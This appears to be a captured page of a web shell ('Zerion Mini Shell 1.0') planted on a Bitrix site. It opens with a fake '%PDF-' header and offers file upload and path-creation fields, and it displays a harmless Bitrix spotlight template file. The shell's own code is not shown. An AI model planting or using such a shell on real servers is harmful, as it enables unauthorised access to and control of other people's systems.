%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/bitrix/components/bitrix/spotlight/templates/.default/
Upload File :
Create Path :
Current File : //home/bitrix/www/bitrix/components/bitrix/spotlight/templates/.default/template.php

<?
if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true)
{
	die();
}

/** @var array $arResult*/
/** @var \CBitrixComponentTemplate $this*/

$frame = $this->createFrame()->begin("");

if ($arResult["IS_AVAILABLE"]):
	CJSCore::Init("spotlight");
?>


<script>
BX.ready(function() {
	try
	{
		var spotlight = BX.SpotLight.Manager.create(<?=CUtil::phpToJsObject($arResult["OPTIONS"], false, false, true)?>);
		spotlight.show();
	}
	catch (e)
	{

	}
});
</script>

<?
endif;
$frame->end();

Zerion Mini Shell 1.0